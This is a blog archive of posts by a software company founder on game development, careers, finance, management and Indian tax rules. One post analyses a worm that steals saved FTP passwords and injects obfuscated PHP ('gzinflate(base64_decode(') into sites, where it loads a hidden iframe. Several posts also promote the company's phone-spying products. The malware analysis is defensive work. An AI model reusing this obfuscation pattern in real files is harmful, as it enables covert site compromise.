Zeeshan Alam's Blog

Making Tank-O-Mania : iPhone Tank Game

2012-01-28T00:16:00.001+05:30

Update: the game is online, find more about it at www.iPhoneTankGame.com

I learned a little about game programming in 1998, before I started to work on Windows. We use to do most of our job in Borland-C++ and use the DOS int86 calls. I happen to buy the book Action Arcade Adventure Set, written by Diana Gruber. In 100s of tech books I have read so far (including academics), this one is the only I have read cover to cover. The book was excellent. But it covered C, and VGA 256 colors 320x240 mode-x, with about 128"KB" of available memory.

I usually say to people, learn the concept not the language. The book manage to throw a lot of light on Tile-based side scrolling, sprites, game engine and a lot more.

Fast forward to now, while the majority of games are being done for PC, or consoles with all the awesome 3D and no controller (kinect) engines, a new chapter is introduced with launch of Smartphones. It is like the bell-bottom era making a come back. The sizes of 320x240, less memory and casual gamers concept is being back. The era of 2D is reintroduced.

iPhone Tank Game

I was in Delhi and thinking of the statements of Bill Gates, something like taking books on vacations. I opened flipkart.com and ordered some books, out of which one was on Cocos2D. And while doing some net readings, I came across tank graphics from Vicki Wenderlich. All those who have grown up in 80s and early 90s must have played Mario, Contra in arcade stores. There was one called Tank90, and it was cool. One look at the Tanks and I wanted to do that.

And hence the coding for Tank-O-Mania, iPhone Tank Game started on 26 Oct, 2011, the day of Diwali.

At first it made of all tiles and tanks graphics from Vicki, but later our in-house designer did some tremendous work and the sprites took form. I contacted another excellent designer to do the level-art and managed sounds from stock sounds. And hence I dumped that version, and recreated everything from scratch.

The best part was programming, programming the game was awesome and I am already missing writing codes for it. It is like the availability to create own world, where we set the rules. And thanks for Ra-One release in between to keep me just as pumped.

The game has:

- 30+ types of Enemies with Unique A.I.
- 24 Levels of Play within 6 Countries
- 5 different Weapons including Mines, Grenades and Rockets

- Call Friendly Helicopter for Air Strike
- 5 Power Ups including Invisible Mode, Freeze Enemy, Extra Lives and more
- Classic Arcade Joystick as well as Accelerometer based control
- Strategical Level Designs

- Game Center support, Compete with the World for High Score

- Dazzling Graphics of World Powers and Realistic Cities
- Thundering Battleground Music and Sounds Effects

And here's some screenshots:

iPhone Tank Game

Tank-O-Mania, iPhone Tank Game, is Waiting Review from Apple. Till then

- Follow us on Twitter @TankOMania http://www.twitter.com/tankomania
- Like Tank-O-Mania on Facebook: http://facebook.com/tankomania
- Subscribe for Videos Preview: http://youtube.com/tankomania

Tracing "Mr. loj7g!" What the Hack!

2011-08-12T00:26:00.008+05:30

A google search on "loj7g domainname" isn't giving anything but here is a background saving our own shames though.

A worm is out, intelligent Windows worm that runs on your PC and looks for FTP programs like in our case FileZilla was installed on the victim PC, and decodes its save passwords. Then it connects to those server and infects all files by writing following at the bottom of the page:

DISCLAIMER: THE CODE BELOW IS TAKEN FROM INFECTED FILE, AND IS FOR EDUCATIONAL PURPOSE ONLY!

Very interesting!

Let the hacking begin...

"echo(gzinflate(base64_decode("

So three PHP functions:

base64_decode — Decodes data encoded with MIME base64

gzinflate — Inflate a deflated string

echo - well print it

So when our dear PHP runs this part of the infected code it gives following output:

Now the guy is utilizing Javascript to do something funny,

document.createTextNode, well creates a new text node, which can be added in to any of the document element.

After that the intelligent writer has utilize all the HTML encoding, and processed a look to cleverly iterate and generate a string, what is that string?

Lets just change eval() to document.write() and bingo here is what we get:

Simple Javascript, which is creating a hidden frame and opening the URL http:///forum.php?tp=9bc7b8fc6901cd02, now I can't really connect to that URL, but pinging it returns this IP:

And the IP address belongs to:

And the whois record says:

OrgName:        RIPE Network Coordination Centre
OrgId:          RIPE
Address:        P.O. Box 10096
City:           Amsterdam
StateProv:
PostalCode:     1001EBCountry:        NL

Traceroute is running for quite sometime and says this:

What else, yeah who is this superpuperdomain.com? The whois record gives clear cut name and address but I don't want to put it in my blog, if you are keen just do a whois.

See, the guy wants to know how many sites he got infected and pat his back! But every thief leaves a track, and gets caught.

And for you just keep any good anti-virus and firewall on your PC, or just be safe, be protected, get a Mac!

How to fill balloons?

2011-07-29T02:52:00.002+05:30

Fortunately for coders, and unfortunately for managers, 80% of the code going into projects are from stackoverflow.com, or any other forum like iphonedevsdk.com and the rest 20% is auto-generated by the IDE. In the rush to get it out fast, majority of the time is spent on copying and pasting, and the left in putting up patches to fix up leaks. Damn, in service model, we are not paid royalties, why bother for quality of work. Stack holders can complain on the market research gone wrong. And in the resource constraint market, if the luck has striked to get hand on even two projects, the guys from NCR or B'lr have their nets out to catch fishes. Based on how many worms they have eaten.

First, the recruiters need to understand. The resume and the interview is a lie. The work experience is in advanced Google searching. The reference don't care about you or give a damn about the guy who has left and still discovering everything done wrong in the candidates' work. The interviewee have no clue what the company wants. And the result is based on comparing expected CTCs.

Second, the coder's hurry to make more money. How many 14 years guys and gals are found hand-in-hand in shopping malls, children parks, bunking schools? They have found their soul mates, and the plan to settle is made already. What if the age still suffixes 'teen', and the parents is busy taking loan for education.

The gold rush is here, the web app bubble has burst and the mobile app bubble is here. Something makes you think it will burst, so lets hurry up. The more you can earn during the period is all you can earn. Lets squeeze every opportunity and make lemonade out of every project plan. I don't have to give a demo to my prospective employer, do I?

Here is the sad realization: 3 years have passed. You have made your jumps from 1.2 to 4.2 Lac, switched 17 companies in between but now its all stuck. You are at one side of the chasm, and find no way to jump across it. There is not enough hydrogen in your balloon to make you fly across. Why? Because you spent all this time filling it with exhaled air.

Now with your beautiful resume, and an advanced diploma in Google search, and a drinking habit to satisfy - 4.2 is not enough! Mind has stopped working due to all the googling and the codes written looks strange. Did I write it? Well, actually I didn't but its their in my project. The only solution left is to fool another recruiter and stay low profile in new company till your truth is figured out and the HR gets enough gut to terminate. And the cycle goes on.

The point: see how you are filling your balloon, and not your pocket at least in the first five years of your job.

How to get your first software engineering job?

2011-06-24T19:38:00.001+05:30

Self evaluation is the first step, as a software engineer, you can be part of various interesting job profile. Even though software programmers is most glamorous, there are other posts that tend to be easily ignored. What I mean by self evaluation is can you judge yourself truthfully that you are logically strong enough to be a programmer? And wait, programming like learning music is a long process, if you are not coding already whether professionally or as hobby then it is going to be a hard journey to the day you become productive.

If you want to become programmer, start coding from day 1, don't wake up in your fourth year of college and google "library management software source code", there is no shortcut to learn programming other than lots of practice. Start coding in any language of your choice at least 2-3 hours a day, download source code examples and study them. Participate in submitting new source codes to planetsourcecode.com, codeproject.com, etc (yeah, people not only download, submit too!). If you are even more enthusiast, participate in open source community to improve any opensource project like, Firefox, Linux, or Android. And if this sounds boring, leave it for something else more suitable for you.

If programming doesn't look like your piece of cake, be happy that the software engineering paradigm doesn't end there. You can be a software test engineer, also called as Quality Assurance engineer, the people responsible for ensuring the quality of software.

QA Engineers are tech-enthusiasts, geeks who will dive in to new projects and try different ways to break it. Who wont like to be paid for reporting other people problems! If this sounds interesting, luckily software testing can be self learned by reading some good books. You can also do some course from any reputed institute. The key ingredient to this profile is the interest to explore uninhabited lands like Sir Vasco Da Gama.

Another profile is system administrator or database administrator, the people responsible on ensuring you see the home page of retinasoftwarein.com, and not an Internal Server Error. The sysadmin and DBA looks after the health of computer servers, forseeing problems and applying fixes along with system updates and optimizations. To be one, you need to master either Linux or Windows Server, do a certification from a good institute. And practice.

Other profiles are web designers, animators, technical support executives, technical writer, business development analyst and others.

So once you decide on which profile you want to work in, the next step is to put the extra efforts to learn about it. If you are not one of the lucky guy to have been placed through your college campus program in an MNC, you are left with three options.

Expend money to do some courses and receive valuable certifications,
Join for company's internship programs,
Be different (when everyone is learning Java/C#, learn LISP or ADA and look for job in that section).

There is no fourth way, don't waste time applying for every job posted in Naukri.

And finally, while you are applying for jobs, waiting for interview results and so on, use your creativity. The best way to get hired is to stand apart. With open source, fast internet availability, and lots of information on net, it is easy to stand apart. There is internet beyond facebook, spend your time exploring your choice of profile, language and projects. Actively participate in forums, blog, submit source codes and projects, and browse freelancer projects.

Do that and job will run to you, rather than you running after jobs.

Finance for Geeks

2011-04-22T07:26:00.000+05:30

... we understand stack overflow, fails to understand compound interest.

Two interesting things happened in last year reality shows, one guy won 1 crore in KBC and lost at the next question. Secondly, Shweta Tiwari won Big Boss 1 crore, had no idea what to do with it - so her interview with a financial planner was shown live on TV.

Shweta Tiwari (Trying to understand investment)

And yeah, you might want to pity on the first guy who lost at the last question in KBC, but wait, if you are going unplanned you should pity yourself more. There is tons of opportunity that you have lost already, and the time to act is now.

Following my traditional way of writing, here are some acting points for a basic idea of where to invest?

1. Provident Fund:

PF is an investment for your retirement, do not cut it. Not only it gets tax exemption, gives a guaranteed return on maturity, is far safe.

2. Insurance with Term Plan:

Who will cry if you die tonight? Well, may be many tonight! But if you are not insured or under insured may be your dependents will cry for a very long period.

The thing to understand with insurance is, its not an investment, its a well, insurance. Like a car/bike insurance, if you have paid some money this year as your vehicle insurance and it is not stolen, do you get a return on your insurance money? No. What instead you get is peace of mind, when parking your vehicle.

Same applies to life or medical insurance, term plans, you pay for the insurance for the peace of mind of knowing that even though you would be irreplaceable, your dependents will get sufficient income to continue living the same standard.

Its also advised now to take Medical and Accidental Insurance and not just Life insurance.

3. Don't Mix Insurance and Investment

Stay far away from ULIP, insurance linked investment. They are horrible, you are highly under insured, the return on the investment is terrible and there is no peace.

4. Debt is for short term, Equity is for long term

Debt based investments are for short term, if you have excess money lying in your saving or even worst current accounts, and you foresee a use of it in next few years debt is the way to go.

However, if the goal of your excess money is your new born child education, or your retirement, something that got enough time, equity gives a better return for long term.

5. Invest using SIP and STP

Its highly impossible to time the market, and specially for geeks watching the CNBC graphs is just not a nice idea. So the best way of investment in both debt and equity is using Systematic Investment Plans (or SIP), in a layman term, with SIP/STP your money is invested in regular interval and not in lump-sum. Like the Monthly Investment Plan (MIP) will invest in market every month, and hence on an average a profitable return can be measured avoiding the fluctuation of the market.

6. Stop misusing Credit cards

Loans should be taken to help you in your need, a house loan, loan to launch a business. But most people these days are using the loans for monetary gratifications. As your good investments grows by Compound interest, so does the loans you take. Be careful when taking loans, it need to be repaid. And several times, much more than the principle.

Understand what is expense and what is investment, a land is an investment, a house is an expense. Gold is investment, car is expense.

7. Educate yourself about Finance

Turn on your financial intelligence

"Intelligence solves problems & produces money. Money without financial intelligence is money soon gone."
— Robert T. Kiyosaki

With technology now its very easy to learn, and its very easy to not learn. So give some better use to your television set, besides watching the reality shows, and listen to the investment programs. Once in a while browse some good financial articles, here's the guys writing specially for Indians about Financial Literacy.

How to get into the "Zone" for software programmers

2011-04-06T01:52:00.000+05:30

I do feel like taking my hats off sometimes to the programmers coding software from the uncomfort of a hall filled with cubicles. From my personal experience, its hard if not impossible to get into zone in any room with more than one person. Yes, one.

What is Zone?

Zone, aka, Flow is a mental stage where a person is most productive. In programmers its the state where they write productive codes unaware of the surrounding, yes music is playing but they dont hear the lyrics. The exact state where the Milk will burn in the kitchen and mother wont understand why can't you remember to turn it off.

Its difficult to get into the zone, can take 10 mins or just wont come that day, the trouble is, its too easy to get off the zone with a little disturbance.

How to get into zone?

1. Kill Distraction:

You see that Yellow smiley in your tray bar? Turn if off right there. Feeling urge to check your email every 15 seconds, turn that off too. Turn the voice mail on in your mobile. Close Facebook and Twitter. Let people who live or work with you, be aware of the situation. I seldom code from office due to this and am best in my study room. James has also built a room specially for creative working (go see www.retinax.com).

Timing is also critical, usually programmers are in habit of working late night. However for professional employees, they need to adjust themselves to the sunlight. But ending disturbance is critical. Respect "zone", and ask for respect for your "zone".

2. Music:

The best that helps is rock, and songs in foreign language. As you don't care about the lyrics. Yeah, the idea is not to get you sobbing tears, but to shake your head every time F5 works with no compilation error.

3. Caffeine:

For some Coffee works, for us (J&Z) coke works. I have tried lemonade and juice, doesn't work for me. Ice cold water also helps.

4. Tools:

Here too I have a dreadful habit, for long I can only work on TVS mechanical keyboard. It plays a thak sound with every press of key that coders will enjoy, got it added to the iMac too.

Anyway the point is, ensure you got the tools, hardware and software, that you are comfortable in to work with. An internet connection, and a fair enough screen size with sufficient RAM to compile fast. Wear what you are comfortable, seat how you are comfortable. Software cannot be made in Suits.

5. Push yourself a little:

The first few minutes is difficult, manage your playlist in iTunes, get your drink, seat at your desktop and fire the IDE. And just start.

References:

http://en.wikipedia.org/wiki/Flow_(psychology)
http://www.joelonsoftware.com/articles/fog0000000068.html
http://www.randsinrepose.com/archives/2006/07/10/a_nerd_in_a_cave.html

Dealing with Competition in Workplace

2011-03-02T04:49:00.004+05:30

... and Business!

Long time no blog, so I watched yet another geek movie to get inspiration. Pirates of the Silicon Valley. The story revolves around the begining of rivalry between Bill Gates and Steve Jobs, the start of their competition.

In competition you can be at two sides, either you can be a twitter or a follower, there is no third place to be. By being twitter, you stay ahead of the competition playing sharp with your innovative ideas. Your competitors would be following you up by getting inspiration from your ideas. Remember, it is very difficult to get copyright on ideas.

So will you guess that the twitter is the winner and the follower is the looser? Who won between Apple and Windows? It is the guy who plays smart.

How to play smart?

1. Innovation

We have brought several innovations, including Mobile-Nanny & MobileSync Pro. We thought of the idea, shouted Eureka, prototyped and designed the products from scratch and build a great product. The competitors dropped their jaws

Lets talk about innovation, and I understand I am suppose to talk about Steve and Bill, and the Pirates movie, but wait I got another one; Flash of Genius.

This one is a true story of a Bob Kearns's 12 years court fight for the innovation that was stolen by Ford Motors, here is a quote from him:

"Well, I want you, uh...  
I want you to know something.

When I walked into this courtroom,

I was wearing a badge right here.

You couldn't see it.

It said I was an inventor.
A contributor to society."

In the story he also states how he thought of the idea. Due to his defective eyes, he had to blink regularly. And so during a rainy day drive, he said why cant my wipers blink the same way. That, that was the flash of the genius. This is something that the innovators has, the idea is sitting hidden the mind, and at a blink it appears.

Moving from my HTC to iPhone, why is it so difficult to transfer between two different platforms? That's eureka for MobileSync.

Being innovative keeps you ahead of the game.

2. Inspiration

Inspiration is a term used in synonyms of copying specially by music directors, but I guess that's wrong. Copying people should be permanently banned from business.

Now inspiration might be the "Flash" I talked about above. How Mr. Zuckerberg (yeah, again) made Facebook? Inspiration from the Winklevoss' idea! However he was not a copy person, he created something that, that..., that is Facebook and *not* what Winklevoss brothers thought of.

SniperSpy, Net Spy Pro, ePhoneTracker were inspired but not copied. They stand tall and smart to the competitors products, features ahead. And actually they're inspiring the other way around now.

Here is what inspiration is, you see a chair, and your brain flashes how you can make a flying chair.

3. Protection

Copyrights, Patents are in mess specially in International cases. But you got to play the cards with whatever is available.

4. Staying cool

Heat not a furnace for your foe so hot that it do singe yourself.- William Shakespeare

There is one more line from Bob Kearns in FoG that says even though he won, he cant get back the 12 years he lost fighting. There is a life beyong the competition and the rivalry, and then there is health and wellness of yourself and your business. Pirates of the Silicon Valley ends with the 1997 MacWorld Expo scene where Steve Jobs bring Bill Gates on the big screen announcing that Microsoft invested $150m in Apple and will be a 'partner'. No matter how much Apple's fan would have hated it.

That is playing cool, and understanding the situation with clear mind. Those who wins know the right thing to do at the right moment. There is no place of emotional wars in business, as when two cats fight the monkey wins. Want an example from us? Are we doing anything with PCHO?

5. Fire and Motion

The last suggested way to play smart is to stay ahead of the game. Fire and Motion is a technique that Call of Duty fans like me would be aware of, is to fire blindly at the enemies while your other shoulders are moving forward. The competitors see what you are releasing, blogging, tweeting, press releasing and more, that is your opportunity to fire at your competitors too. Keep them busy following & guessing you, and not be on the other side.

And before I click Publish, my answer to, who won between Apple and Windows? I will quote Steve Jobs twit: "Microsoft, kiss my apps."

How to be a Millionaire?

2011-01-15T03:20:00.002+05:30

...without participating in Big Boss.

The cover story of Digit features an article about "How to be a billionaire?", and goes on to promote entrepreneurship in India - which is quite in "fashion" these days. And how the next Bill Gates, Steve Jobs or Mark Zuckerberg need to be from India.

Now during my childhood I have promoted the same thing thru my actions and blog. While I am at it, it is important to state that someone has also pointed that it might be more profitable to work at beer shop than to sell software. And he is somewhat correct. In a totally different case, Zuckerberg made facemash.com while drinking beer and blogging. (Yes I have seen the movie.)

Where was I? The idea of following blog, though late night, is to point what 'bare minimum' is needed to become a Millionaire. (Side note: Millionaire is getting out of fashion too fast, so they talk about replace B with M, but I am writing about Millionaire not Billionaire, because I am not there.)

Point 1: Set Achievable Goal, and Celebrate

Myself and James have some rocket scientist chromosomes in us. The genes though only show up when we are releasing a new product or major release. There we come together and make a Countdown like 10, 9, 8, 7... 1 while the final site is uploaded, and index-test.html is renamed to index.html. Such release is followed by a chat of congratulations and how well we expect the product to do. We have celebrated SniperSpy release, and we have celebrated Eliminator-RX release! It is our own way of celebration for 8years.

We do cut cake now in offices and employees go to picnics.

The idea is we celebrate every milestone. I do not believe that celebration should be done only on major achievement. To make a million, you need to make $100 first, $1000 next, $10k, $100k then $1000,000 comes. And enjoy each achievements, congratulate yourself, pat your shoulder and focus on next milestone.

Point 2: Passion

I am really sorry but I have very recently seen `The Social Network` and so all examples are coming about him only, in an interview Mark Zuckerberg said, "They [the film's creators] just can't wrap their head around the idea that someone might build something because they like building things,"

You cannot be a millionaire by reading about an idea in Digit, unless you are passionate about it. You can be only successful if you are passionate about your idea and venture, in a way, that you speak it, eat it, sleep it, drink it, bath it and you talk with it as if its a real person.

If you are not a 100% there, or have a confusion, leave it there. Heck, leave business, if you are not passionate about what you are working on, leave it. Nothing is worth your precious time.

Point 3: Patience

The Hindu had an article about impatience. Millions? you cannot reach break-even in one day or many time several years! So what will keep your senses work, and not cause nervous breakdown? Passion! You will be so much indulged in your passionate venture that your negative bank balance wont get attention. (Unless the loan sharks gulps you.)

Business need gestation period, and not just nine months. Impatience can cause your business to fail, miserably. Give patience in building & marketing products. Someone has said, nobody remembers how fast you did it, everyone does how well you did it.

Point 4: People

All great business started with small team of the founders working together, Apple, MicroSoft, to Retina-X. But while we, the founders can give the initial acceleration, it is always the sharp minds that comes to work everyday for us contributes in their own way. I know of companies where employees are mere numbers, partners are jealoused, and customers are enemies.

As Rocket Singh said, "Business is about People". Trust your Partner. Care your employees. And, Love your customers.

Point 5: Its "not" about the Millions.

While your bankers will know you for the money you keep in your accounts, people will appreciate you only for the path, the right path, you have traveled to reach there. When you will achieve your Million dollar dream, you will realize it was never about the money, it was about seeding and nurturing something, and watching it become a big tree that gives fruit to so many people. And that feeling, is worth fighting for the next goal of making a Billions.

How to use AirPhotos

2011-01-09T14:40:00.001+05:30

AirPhotos allows you to view your iPhone photo albums in your computer's browser without wire or iTunes. Just run the application on your mobile, select the photos you want to view, and open an address in your favorite browser. You will see a slideshow of the photos, you have selected.

To transfer photos, just use the View/Save Picture feature of your browser, to save the photo to your Computer. No wires. No iTunes. No software to install on your Computer. Just Wi-Fi.

Step by Step:

[But first an ad ...]

You have downloaded AirPhotos, now try MyPhotosConverter, also Free!

[end]

1) Download AirPhotos from iTunes

AirPhotos for iPhone/iPad/iPod

2) Launch the Application

3) Click the "Add" button in the Home Screen to select photos:

4) In the current version of AirPhotos in iTunes, unfortunately multiple photos selection is not allowed, I have submitted an update already that will allow multiple selection like below:

AirPhotos for iPhone

5) After selection click on Done, to come back to your home screen, and Click on ON/OFF switch to turn it ON, it will appear like this:

6) Keep the application running in foreground and open your browser in your Mac or PC, and type the address like: http://192.168.1.11:8888, a screen like this will appear

7) To Remove any pictures from the collection, click on Edit button in the iPhone Application. A Screen like this will appear:

8) To Add More images, click on "Add" button as in Step 3 & 4.

9) Restart the slideshow service, by turning the Switch OFF and then ON again.

Please send any bug report/support request to zeeshan/@/retinasoft.net

If you haven't downloaded, download it now.

Mobile Developers: Confused like Never Before

2010-12-25T14:34:00.000+05:30

In India the education system is quite interesting, well criticized by 5 Point Someone and 3 Idiots. Students choose their college first, branch second. And it seldom goes to their liking. The confusion continued in the curriculum when there is fight between .NET and Java, where .NET meant ASP.NET web apps, and Java meant Core-Java+JSP. What is wrong with it? Here is an interesting link, which I agrees. Java/C# is not true languages for "students" to learn programming.

The pattern is unfortunately continuing in the professional life. Is your decision to switch to Android, iPhone, or what-so-ever driven by market reports, or your interest?

With recent launching of Android devices by almost every manufacturer out there, along with many home made cheap one, Android is very much becoming the Windows of Smartphones. The numbers will grow on, but I doubt the numbers will make the consumer base grow as fast. Compare piracy on Windows with Mac, the same may happen with Android to BlackBerry. Think of the fact if someone is buying $150 Android device, will they buy a $99 subscription Mobile-Spy? How many millionaires Android has made, compared to iPhone? Talk about fragmentation, talk about numbers of developers jumping to Android causing saturation.

And iPhone? Buy a costly Mac first. This single reason stops many developers jumping to iPhone development. Strict app control, long waiting approval process? A whole new [objective c] language?

Nokia: Happy with its market share? If so proud why are they moving away from Symbian themselves? And what is the ego in taking pride of making the hardest programming language, 15months to learn. Are you kidding? You can learn Assembly language faster.

I can go on for BlackBerry, Windows Mobile, WebOS, but that is not the point.

What is the point?

Leave the market reports for us, the Companies, when it comes to you, see your own shadow first. Is it a logical to switch from iPhone to Android just because of market share? Isn't it more important what does your CV say? 3years experience in Symbian, made a jump to BlackBerry! C++ to Java.

Each platforms like stated above has minus points, but similar plus points. Android easier to pick up, Nokia write an app for your own mobile, iPhone just a lovely platform to code for.

Think logically, Mac continues with less than 10% market share of home computers, but it doesn't stop Apple from launching AppMarket for Mac. You can make money with a platform that has less than 10% market share, and sometime it is questionable to make same money in 45% Symbian market.

The market share is tip of the mountain. You are the mountain. Make a career switch that justifies your profile, your likeness and skills. And be proud of whatever you are working on, 2% market share doesn't mean 2 users, sometimes it means over 2million user base. If your app are being used by so many users, it justifies your development efforts. But it doesn't justify if you leave your past experience and start fresh.

All said and done, we @ Retina Software work in most of the mobile platforms. Whichever is your liking and skills set, you are welcome to join us. While our specialties lies in monitoring software, we are doing tons of innovative applications for every platforms. Apply now, we are bounded only by space!

Another Hobby Project

2010-12-15T02:34:00.001+05:30

On my first day in my engineering college, I manage to gather a little bit of attention with my unusual hobby. I remember Mr. SB, Math's Lecturer was taking introduction. One by one, students were telling their hobbies ranging from playing crickets, music to reading. I said programming is my hobby. Happily eight years since then, I still manage to preserve it.

So I am working on a very minor project since last Friday, which I will possibly release free in AppStore, to revise my iPhone skills. The last I had done anything in it was, BoatMania in Cocos2D. And Boy, the SDK is quite mature now.

The application will find your location from your external IP address, or GPS, and allow you to send it to anyone with SMS or Email. As a bonus, you can also give any hostname or IP and it will give its location details. The application is ready now, except the About screen and for me to download 3.5GB iOS 4.2 SDK, as in-app SMS is supported only after 4.0.

Here are some screenshots for your viewing pleasure:

The most difficult part was getting Table View inside Navigation Controller, inside Tab Bar. I am glad now we have programmers who will find doing stuffs like this piece of cake. For me, it was a reviving time, which is, what the hobbies are all about.

End of STPI, What to do Now!

2010-11-27T00:20:00.000+05:30

Recently we got a letter from Custom Department, referring about ACES. The letter says the administrative control of STPI is coming to ACES (www.aces.gov.in), I still can't claim any legal words into it, as most of the CAs are unfamiliar about it, but it seem to me yet another stamp over the forthcoming closure of STPI.

So, now what?

Moving a STPI unit to SEZ is simply not allowed, a SEZ unit should be a fresh start.

So as a member of STPI, you have been claiming tax benefits but paying the MAT. With the ever rising MAT perhaps, you have accumulated it quite well. So the year 2011-2012 may be well worth to utilize and balance your MAT.

Usually the members of STPI are small and medium enterprises (10crore-50crore turn overs), and unlike me :-), they seem not to reveal much about their plans. Waiting for one year (and balancing your advanced tax), may reveal about some actual plans. While, it is near impossible for SMEs to setup units in SEZ, who knows, they can come with plans for incubation.

And try to make as much profit as possible in 2010-11. Cut some of your expenses for April, onwards. :-)

MFC vs CLI

2010-11-22T00:22:00.002+05:30

Among the multimillion tasks we are engaged in, one is co-ordinating the UI design of AceSpy 6 with the outsourced UI designers, so of course this means coding for the new version is going on. And in C++.

Well, A burnt child dreads the fire.

So when the coders are working in MFC version of AceSpy, I need to make sure it don't meet the same fate of VB version. Because,

1. Microsoft ditched VB in favor of .NET,
2. Microsoft made Windows Phone 7 incompatible with 6.x applications,
3. Microsoft do not support C++ native development for Windows Phone 7,
4. MFC is very old platforms, many feels MS can ditch it as well.

Nevertheless, I feel developing in MFC will be lot better. My points are:

1. The alternate to mfc is c++/cli, but if you want to use cli, why not just use C#? Simpler to learn, easier to code, no pointers, no ^ to deal with.
2. One will certainly want to use C++ for it's power and performance, CLI might not bring it. As it is managed code, usage .net framework.
3. C++ is already prone to typing mistakes, how come Visual Studio 2010 missed the intellisense for CLI projects.
4. C++/CLI also misses LINQ, WPF, etc while C# has them all.
5. MFC is in continuous development, with version 10 in distribution with VS2010.
6. VC++ 6 projects can more easily be converted to VC++/MFC 2010. Hence, a lot more code samples to learn from.
7. MFC native applications will have smaller footprint, direct contact with APIs, no marshaling, and hence more suitable for writing our kind of applications.

While, it is dangerous to foretell what Microsoft has in plan, but it might be safe to say MFC is not going down anytime soon.

And if you are a VC++ / MFC programmer, you know we want you. (mailto:jobs@retinasoftwarein.com).

Read Code

2010-11-20T11:46:00.000+05:30

There are tons of companies who don't use any standards in development whether or not they are, so called, ISO certified. No code repository, No UMLs, No Test cases. What is left in it is 'Code' in folders.

However, every single programmer knows that it is harder to read code than to write new.

So, what the new guys do, is send the old codes to Recycle Bin, and start fresh. However, time and again it has been proved that it is fatal to rewrite an already written and tested code. The old code has been written, tested, optimized, tested and released. If programmers try to re-write all codes again and again development time will increase several times.

In a competitive market, it is fatal for the company to stand still when the entire product is being rebuild from scratch, while the competitor is making small releases periodically slowly wiping you out of scope.

Usually the new programmers will claim that old code is 'junk', however, there is no guarantee that the new one written wont be 'junk' for the yet newer programmers to join. Hence, a manager must watch that project files (documents as well as codes) is being read and followed before starting new work.

The ability to read and understand code is more important than that of writing new code.

Mobile Spy Software | Cell Phone Tracker, SMS, GPS Tracking

2010-09-30T13:44:00.000+05:30

2012 End of World? Its 2011, software companies are more worried about.

2010-07-27T01:42:00.005+05:30

March, 2011 is going to be the last month, software export units, like us are going to raise tax-exempted invoices! The end of STPI scheme further denotes a raise of approx 15-35% in income tax.

While some of us were hoping to move to SEZ, latest news says:

"According to the revised DTC draft, which will replace the Income Tax Act of 1961 after approval by Parliament, tax exemption will be provided only for existing SEZ units and not new units. "

So, it is End of STPI scheme, no SEZ to look for shelter.

Nasscom has requested government to retain SEZ for new units, and there are still chances "the government could extend STPI tax holiday via a notification before the expiration." But, the tension on most software exporters (and SEZ builders like Unitech, DLF, or Mahindra) are lightening up.

We just request to announce a clear decision rather than keeping a question mark on the future.

Share your 3G USB Card Internet with your iPad/iPhone

2010-07-25T21:49:00.009+05:30

We have shifted our home recently, and waiting for "BSNL" broadband to start here, till then I am stuck with the 3G USB card used to access the internet. Even though it gives a good surfing speed (around 125kBps), where do you stuck a USB card in your iPad? :-(

Necessity is the mother of invention, (in this case 'trick').

To share your PC's connection with your iPad (iPhone, or any other WiFi smartphone), here are the steps:-

1. You will need a Wi-Fi access point.

2. If your PC/Laptop don't have a Wi-Fi adapter, you will need one, there are USB Wi-Fi adapters available now.

3. Install the above two and give static IPs to your PC. (For example, 192.168.1.10 to your PC).

4. Install a Proxy server, like: CCProxy or FreeProxy. And setup and start it.

5. Next is time to connect to this network and proxy on your iPad / iPhone. Go to Settings -> WiFi Network -> Click on Detail Disclosure button -> And set static IPs, and Proxy details as in example below. (IP of Proxy server would be IP of your PC's WiFi adapter).

6. That is it, now you can dial your PCs network, and browse on your iPad, or watch YouTube videos, or download apps from AppStore, all from your USB Data Card!

If you have an Apple iDevice, check out this cool game I've made: http://www.iphonetankgame.com/

Be a popular manager... NOT!

2010-06-15T23:04:00.003+05:30

Sometime managers or leaders forgets that the post they are given is not a contest. If it is, they have already won it. So don't run for it. Stop playing nice, and do your duty.

When you are made a manager, you are given responsibilities, whether to manage a project to its completion or to manage human resources. However, many times with newbie managers, its seen that they start working on the wrong direction. Trying to be the nice guy, at the price of lost of time, energy or money. In this direction, the person diverts from the initial goal, growth of the company.

As a manager several times you got to make decisions that are going to cause anxiety among your pupil, but remember you are made the leader because you have seen more, done more. If you think you have taken the right decision, in honesty to your job, go with your gut. The crown is already on your head, and there won't be a SMS voting, so stop trying to get popular.

Employee Performance Review - One on One Meeting

2010-05-18T20:08:00.004+05:30

Performance review is a critical part of human resource management. Business is about people, whether customers or employees, and a close review of it will help sort out several important problems.

The system we have here at RSPL is, every third month employees are subject to a personal review of their performance, and counseled about in which direction to move their career in the company.

First individual employee's Team leader fills and submit an "Employee Evaluation Form", then the employee himself fills the "Self evaluation form", the Employee also fills two more feedback forms, one a general company feedback form, and second a supervisor review form.

Henceforward, a schedule is announced for the employees, which might end for 15-20working days taking 1-2 daily. The meeting goes for 30-60mins depending on employee's job profile.

The actual review is very close to a personal interview but its made little informal, we want an environment where an employee can speak confidently. Instead of the first question being "Tell me something about yourself?" it starts from "How are things with you?" and then diving from Gantt charts, Schedules, Project management guidelines, Coding Standards, Debugging, UMLs, to Attendance, Work related Issues, Career goals, Office politics.

Finally, during the meeting guidelines are given about how to do better, as well as company's expectation from that individual employee. On the other hand, it also helps us better understand an individual contribution to company which sometimes are blurred by the hierarchical layers.

E-mail me (zeeshan @ retinax . com ) if you want any of those feedback forms.

Or if you want to be part of RSPL, drop an email to jobs @ retinasoftwarein.com

Why we have bonus?

2010-03-20T01:01:00.007+05:30

About 3 years back, I blogged how we did bonus calculation with performance rather making it fixed to one's salary. However, the way bonus management is done now is different. We have introduced a more transparent "Variable Pay" in employees CTC. There is still performance bonus and awards distributed annually.

The salary structure consist of Basic, HRA, Conveyance, Medical, PF and Other allowances. And hence forward around 10% of the annual salary is added as the Variable pay, which would be paid yearly (on the Annual function) or twice an year if the sum is large.

In a recent meeting where I discussed company's current news and plans, with the employees, the most that got attention was the plan to re-define the salary structure as stated above. The division has been introduced and the reaction so far is mix, so I should suggest what is wrong.

Any employee in a company should not expect a healthy bonus or revision, if s/he is doing the exact same kind of work in the exact same kind of time. That is, are you only performing what is allocated to you or are you outperforming? Or worst under-performing?

We have a chart that describes the expected work-profile, but then again, this is "expected" for the cost already spent.

To achieve a significant growth, do beyond expectations, improve your skills, decrease the time of delivery, and as Toby Lucich said in the comment:

"Differentiate Yourself through Performance. Start looking for that something extra, a unique way to visibly shine. I'm not saying you should sign up for every random task, but keep an eye out for work that is important and bonus-worthy.

